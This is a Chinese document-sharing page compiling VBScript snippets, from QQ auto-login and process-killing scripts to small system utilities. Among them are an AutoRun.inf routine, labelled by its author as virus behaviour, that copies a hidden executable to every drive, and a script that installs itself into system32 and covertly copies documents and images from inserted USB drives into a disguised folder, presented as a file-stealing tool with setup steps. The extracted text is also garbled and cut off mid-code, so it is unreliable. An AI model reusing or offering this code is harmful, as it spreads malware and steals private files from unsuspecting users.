一些代码.docx
- 文档编号:5857635
- 上传时间:2023-01-01
- 格式:DOCX
- 页数:39
- 大小:150.68KB
一些代码.docx
《一些代码.docx》由会员分享,可在线阅读,更多相关《一些代码.docx(39页珍藏版)》请在冰豆网上搜索。
一些代码
查看文章
使用两个VBS脚本来实现让QQ永远在线
2009年11月04日星期三10:
58
2009年10月19日下午04:
35
使用两个VBS脚本来实现让QQ永远在线
━━━━━━━━━━━━━━━━━━━━━━━━━━
1.QQ自动登录脚本
setfso=Wscript.createObject("Scripting.FileSystemObject")
Setf=fso.createTextFile("QQ自动登录.bat",true)
f.WriteLine"@echooff"&vbcrlf
foreachpsingetobject("winmgmts:
\\\\.\\root\\cimv2:
win32_process").instances_\'列出系统中所有正在运行的程序
iflcase(ps.name)="qq.exe"orlcase(ps.name)="tm.exe"then\'检测是否QQ或TM
QQCMD=mandline\'提取QQ程序的命行
tmp=Replace(QQCMD,chr(34),space
(1))
UIN1=instr(tmp,"QQUIN:
")+6
ifnotlen(UIN1)=0then
QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space
(1))-UIN1)\'取QQ号码.
QQ=QQ+1
QQNUM=QQNUM&"QQ号码"&QQ&":
"&vbtab&QQUIN&vbcrlf
f.WriteLine"ECHOQQ号码:
"&QQUIN
f.WriteLine"ECHO命令行:
"&QQCMD
f.WriteLineQQCMD&vbcrlf
endif
endif
next
ifnotlen(QQ)=0then
MSGBOX"已经成功提取以下QQ号码的自动登录命令行"&vbcrlf&vbcrlf&QQNUM&vbcrlf&"具体请查看当前目录下的文件",0,"QQ自动
登录命令提取脚本BYchenallQQ:
XXXXXX"
else
msgbox"提取QQ自动登录命令失败,请查看QQ或TM是否正在运行.",0,"QQ自动登录命令提取脚本BYchenallQQ:
XXXXXX"
f.close
setf=fso.getfile("QQ自动登录.bat")
f.delete
endif
将这些代码存储为"*.vbs"文件。
然后将所有需要自动登录的QQ号码全部登录,再在一个QQ上点击"菜单"→"一键切换到TM"。
此后运行该VBS脚本,会发现在当前目录下生成了一个"QQ自动登陆.bat"的文件,运行该文件即可自动登录所有QQ号码。
小提示:
代码中的"XXXXXX"代表你的QQ
监控并中止QQ及QQgame进程的vbs脚本+补充
━━━━━━━━━━━━━━━━━━━━━━━━━━
'监控并中止QQ及QQgame进程,同样可以用于中断其他程序进程,只要将进程的name写入stop_qq.txt
'此脚本由wscript.exe脚本解析程序负责解析执行.
'此脚本是死循环程序,要中断此脚本只需要在STOP_QQ.TXT中填入含有“WSCRIPT.EXE”内容的记录并保存(Ctrl+S),脚本会将自身中断。
'当程序中断以后再删除"wscript.exe"数据,以确保下次能够正常发挥作用。
onerrorresume next
Setos0=createobject("shell.application")
Setos=CreateObject("wscript.shell")
Setfs=CreateObject("scripting.filesystemobject")
Setwmi=GetObject("winmgmts:
\\.")
pathx=fs.GetFile(WScript.scriptFullName).ParentFolder.Path
path0=fs.GetFile(WScript.scriptFullName).Path
Setpath1=fs.GetSpecialFolder
(1)
'--------------------------------------------------------------------------------
'----------------MAINDOLOOP--------------------------------------------------
Do
'create_boot
Setd0=createobject("scripting.dictionary")
edit_d
stop_p
WScript.Sleep5000
Loop
'---------------------------------------------------------------------------------
'-------安装启动项
Subcreate_boot
Iffs.FolderExists(path1&"\vbs")=FalseThenfs.CreateFolderpath1&"\vbs"
fs.CopyFilepath0,path1&"\vbs\boot.vbs",True
Iffs.FileExists(pathx&"\stop_qq.txt") Thenfs.CopyFilepathx&"\vbs\stop_qq.txt",path1&"\stop_qq.txt",true
os.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\stop_qq",Chr(34)&path1&"\vbs\BOOT.vbs"+Chr(34)
EndSub
'---------------------------------------------------------------------------------
'----------将数据文件中的数据导入dictionaryd0
sub edit_d
Iffs.FileExists(pathx&"\stop_qq.txt")=FalseThen
build_f
EndIf
Setfile1=fs.OpenTextFile(pathx&"\stop_qq.txt",1,false)
n=0
DoUntilfile1.AtEndOfLine
l1=Trim(file1.readline)
Ifl1<>""Then
d0.Addn,l1'd0为公用dictionary所以在总程序中定义
n=n+1
EndIf
Loop
Ifn=0Thenbuild_f
EndSub
'---------------------------------------------------------------------------------
'-------创建数据文件
Subbuild_f
Setfile1=fs.OpenTextFile(pathx&"\stop_qq.txt",2,True)
file1.WriteLine"qq.exe"
file1.WriteLine"qqgame.exe"
file1.Close
EndSub
'---------------------------------------------------------------------------------
'--------中断进程
Substop_p
ForEachitemIn d0.Items
Setp=wmi.execquery("select*fromwin32_processwherename='"&item&"'")
ForEachp0Inp
p0.terminate()
os0.MinimizeAll
os.popup"你不知道工作时间不允许运行此程序么?
",1,"警告",64+0
Next
Next
Endsub
'在文件中添加如下代码,并将程序段在死循环中调用。
就是一个auto病毒了
'需要注意的是需要配合winrar的自解压功能支持,当然也可以用其他加壳程序完成
'--------安装第二启动方式(病毒行为)
'将此vbs文件更名为stop_qq.vbs,然后通过winrar压缩成自解压执行stop_qq.vbs的压缩文件--qq_xp.exe,此段代码才生效
Subcreate_boot2
path0=fs.GetFile(WScript.scriptFullName).ParentFolder&"\qq_xp.exe"
iffs.FileExists(path0)then
Setfile1=fs.CreateTextFile("AutoRun.inf",true)
file1.WriteLine("[AutoRun]")
file1.WriteLine("open=qq_xp.exe")
file1.WriteLine("shell\open=打开(&O)")
file1.WriteLine("shell\open\Command=qq_xp.exe")
file1.WriteLine("shell\open\Default=1")
file1.WriteLine("shell\explore=资源管理器(&X)")
file1.WriteLine("shell\explore\Command=qq_xp.exe")
file1.Close
Setd1=CreateObject("scripting.dictionary")
d1.RemoveAll
ForEachdr_xInfs.Drives
If dr_x.IsReadyAnd_
dr_x&"\"<>pathxAnd_
dr_x.DriveLetter<>"A"And_
dr_x.DriveLetter<>"B" Then
Ifdr_x.FreeSpace/(1024^2)>1Thend1.Adddr_x,dr_x
Endif
Next
ForEachdr_xInd1.Items
'MsgBoxpathx&"--->"&dr_x
Iffs.FileExists(dr_x&"\qq_xp.exe")=FalseThen
fs.CopyFilepath0,dr_x&"\qq_xp.exe",True
Setfile1=fs.GetFile(dr_x&"\qq_xp.exe")
file1.Attributes=2+4
Endif
Iffs.FileExists(dr_x&"\AutoRun.inf")=FalseAnd_
fs.FolderExists(dr_x&"\AutoRun.inf")=FalseThen
fs.CopyFilePATHX&"\AutoRun.inf",dr_x&"\AutoRun.inf",True
Setfile1=fs.GetFile(dr_x&"\AutoRun.inf")
file1.Attributes=2+4
endif
Next
Endif
EndSub
VBS精品脚本收集
━━━━━━━━━━━━━━━━━━━━━━━━━━
先推荐两个脚本学习的地方:
一是微软脚本中心,资源非常多,必备:
二是VBScriptForum,活跃着一帮脚本牛人,有问题去那求助很不错:
好了,开始正题。
以下脚本的原始出处我也忘了,大都是上面两个站点或直接google来的,有些我加工过
uptime.vbs
功能:
显示你的系统已经运行的时间
评注:
简单的WMI应用
代码:
strComputer=.
SetobjWMIService=GetObject(winmgmts:
_
&{impersonationLevel=impersonate}!
\\&strComputer&\root\cimv2)
SetcolOperatingSystems=objWMIService.ExecQuery_
(Select*fromWin32_OperatingSystem)
ForEachobjOSincolOperatingSystems
dtmBootup=objOS.LastBootUpTime
dtmLastBootupTime=WMIDateStringToDate(dtmBootup)
dtmSystemUptime=DateDiff(h,dtmLastBootUpTime,Now)
msgboxYoursystem'suptimeis&dtmSystemUptime&hours.,64,uptime
Next
FunctionWMIDateStringToDate(dtmBootup)
WMIDateStringToDate=CDate(Mid(dtmBootup,5,2)&/&_
Mid(dtmBootup,7,2)&/&Left(dtmBootup,4)_
& &Mid(dtmBootup,9,2)&:
&_
Mid(dtmBootup,11,2)&:
&Mid(dtmBootup,_
13,2))
EndFunction
BrowseForFile.vbs
功能:
打开文件选择框,很强悍的,嘿嘿
评注:
CreateObject可以让vbs充分利用你电脑上现有的资源
源码:
附件
choosecolordlg.vbs
功能:
打开颜色选择框
评注:
利用InternetExplorer.Application巧妙实现的
代码:
setie=createobject(internetexplorer.application)
ie.navigateabout:
blank
dountilie.readystate=4:
wscript.sleep25:
loop
setdoc=ie.document
setbody=doc.body
setwin=doc.parentwindow
body.innerhtml= 3050f819-98b5-11cf-bb82-00aa00bdce0b'> body.innertext=doc.getElementById(dlg).choosecolordlg win.clipboarddata.setdatatext,body.innertext ie.quit computername.vbs 功能: 显示你的计算机名 评注: 最简单的WMI的应用 代码: SetWshNetwork=WScript.CreateObject(WScript.Network) WScript.EchoComputerName: &WshNetwork.ComputerName logoff.vbs 功能: Logsoffthecurrentuserin30minutes 评注: 来自VBScriptForum,可以学到不少东西 源码: 见附件 autologin.vbs 功能: 让你的系统自动登陆 评注: 注册表操作的简单实例 源码: 见附件,请自行修改源码里的用户名和密码 numlock.vbs 功能: 打开或关闭你的NUMLOCK键 评注: 如果你进入系统后,NUMLOCK的状态不是你想要的,可以考虑把这个脚本加到开机脚本里 源码: 如下,只有两行,嘿嘿 代码: setWshShell=CreateObject(WScript.Shell) WshShell.SendKeys{NUMLOCK} By: 白开QQ: 343229025 文章来源: 运行该脚本后,文件会先拷贝到system32目录中然后运行,监控移动存储设备的插入,如果有U盘插入,会将你感兴趣的文件拷贝到电脑相应目录中。 以下为演示: 一、设置 右键单击,选择编辑 oStr="txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用“|”隔开 oDistPath="C: \\windows\\system\\" '保存路径 oFolderName="Task" '保存文件夹名称 oType=0 '将保存的文件夹进行伪装1为task文件夹,2为recycler文件夹,0为不伪装 oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环 二、保存后运行 会出现安装成功对话框,如果不希望出现该对话框,可以将“Msgbox"安装成功"”注释掉。 此时脚本已经在循环监测U盘的插入 三、插入U盘 U盘插入后,就开始文件的复制。 复制完成后会出现提示对话框。 如果不希望出现该对话框,可以将“Msgbox"Windows错误",64”注释掉 四、寻找文件 此时,文件已经在目标文件夹中。 我将oType设置为1,所以该文件夹成了task文件夹,此时双击打开是看不到其中的文件的。 这种情况可以通过rar压缩包浏览,将其中的desktop.ini文件删除,文件夹就会变成普通文件夹。 这时就能打开文件夹看到其中的内容。 Copy.log记录的是原文件及复制后的文件。 下载地址 以下为代码 oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开 oDistPath="C: \\windows\\system\\" '保存路径 oFolderName="Task" '保存文件夹名称 oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏 oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环 'By: 白开QQ: 343229025 Setfso=CreateObject("scripting.filesystemobject") Setwshell=CreateObject("WScript.shell") IfWScript.ScriptFullName=fso.GetSpecialFolder (1)&"\Baikai.vbs"Then '如果是在system32 '文件夹不存在则创建 If(notfso.FolderExists(oDistPath&oFolderName))Then fso.CreateFolder(oDistPath&oFolderName) EndIf '创建记录文件 SetMylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True) '循环监测移动存储设备插入 Do ForEachoDriverInfso.Drives IfoDriver.DriveType=1AndoDriver<>"A: "AndoDriver<>"B: "Then TreeIt(oDriver) Msgbox"Windows错误",64 If(oOut=1)then ExitDo Endif EndIf Next WScript.Sleep15000 Loop Mylog.Close '隐藏文件夹 oHideFolderoDistPath,oFolderName,oType else '如果是其它目录,先安装 fso.CopyFileWScript.ScriptFullName,fso.GetSpecialFolder (1)&"\Baikai.vbs",True wshell.Runfso.GetSpecialFolder (1)&"\Baikai.vbs" Msgbox"安装成功" endif Setfso=nothing Setwshell=nothing '遍历目录函数 FunctionTreeIt(sPath) SetoFolder=fso.GetFolder(sPath) SetoSubFolders=oFolder.Subfolders SetoFiles=oFolder.Files ForEachoFileInoFiles oCopyFileoFile.Path,oDistPath,oFolderName Next ForEachoSubFolderInoSubFolders TreeIt(oSubFolder.Path) Next SetoFolder=Nothing SetoSubFolders=Nothing EndFunction '复制文件函数 FunctionoCopyFile(FileName,oDistPath,oFolderName) Ext=fso.GetExtensionName(FileName) If(instr(oStr,lcase(Ext)))then Randomize tempname=Ext&int((Rnd*100000000)+1)&"."&Ext fso.CopyFileFileName,oDistPath&oFolderName&"\\"&tempname,true Mylog.writelineFileName Mylog.writelinetempname EndIf EndFunction '隐藏文件夹函数 SuboHideFolder(oDistPath,oFolderName,oType) SelectCaseoType case1 Setinf=f
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 一些 代码